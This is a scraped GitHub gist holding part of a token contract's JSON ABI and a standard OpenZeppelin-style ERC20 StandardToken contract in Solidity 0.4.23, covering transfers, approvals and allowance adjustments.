"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "privateSaleSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"constant": true, | |
"inputs": [], | |
"name": "totalSupply", | |
"outputs": [ | |
{ | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"payable": false, | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.23; | |
import "./BasicToken.sol"; | |
import "./ERC20.sol"; | |
/** | |
* @title Standard ERC20 token | |
* | |
* @dev Implementation of the basic standard token. | |
* @dev https://github.com/ethereum/EIPs/issues/20 | |
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol | |
*/ | |
contract StandardToken is ERC20, BasicToken { | |
mapping (address => mapping (address => uint256)) internal allowed; | |
/** | |
* @dev Transfer tokens from one address to another | |
* @param _from address The address which you want to send tokens from | |
* @param _to address The address which you want to transfer to | |
* @param _value uint256 the amount of tokens to be transferred | |
*/ | |
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
require(_to != address(0)); | |
require(_value <= balances[_from]); | |
require(_value <= allowed[_from][msg.sender]); | |
balances[_from] = balances[_from].sub(_value); | |
balances[_to] = balances[_to].add(_value); | |
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
emit Transfer(_from, _to, _value); | |
return true; | |
} | |
/** | |
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
* | |
* Beware that changing an allowance with this method brings the risk that someone may use both the old | |
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* @param _spender The address which will spend the funds. | |
* @param _value The amount of tokens to be spent. | |
*/ | |
function approve(address _spender, uint256 _value) public returns (bool) { | |
allowed[msg.sender][_spender] = _value; | |
emit Approval(msg.sender, _spender, _value); | |
return true; | |
} | |
/** | |
* @dev Function to check the amount of tokens that an owner allowed to a spender. | |
* @param _owner address The address which owns the funds. | |
* @param _spender address The address which will spend the funds. | |
* @return A uint256 specifying the amount of tokens still available for the spender. | |
*/ | |
function allowance(address _owner, address _spender) public view returns (uint256) { | |
return allowed[_owner][_spender]; | |
} | |
/** | |
* @dev Increase the amount of tokens that an owner allowed to a spender. | |
* | |
* approve should be called when allowed[_spender] == 0. To increment | |
* allowed value is better to use this function to avoid 2 calls (and wait until | |
* the first transaction is mined) | |
* From MonolithDAO Token.sol | |
* @param _spender The address which will spend the funds. | |
* @param _addedValue The amount of tokens to increase the allowance by. | |
*/ | |
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
return true; | |
} | |
/** | |
* @dev Decrease the amount of tokens that an owner allowed to a spender. | |
* | |
* approve should be called when allowed[_spender] == 0. To decrement | |
* allowed value is better to use this function to avoid 2 calls (and wait until | |
* the first transaction is mined) | |
* From MonolithDAO Token.sol | |
* @param _spender The address which will spend the funds. | |
* @param _subtractedValue The amount of tokens to decrease the allowance by. | |
*/ | |
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
uint oldValue = allowed[msg.sender][_spender]; | |
if (_subtractedValue > oldValue) { | |
allowed[msg.sender][_spender] = 0; | |
} else { | |
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); | |
} | |
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
return true; | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment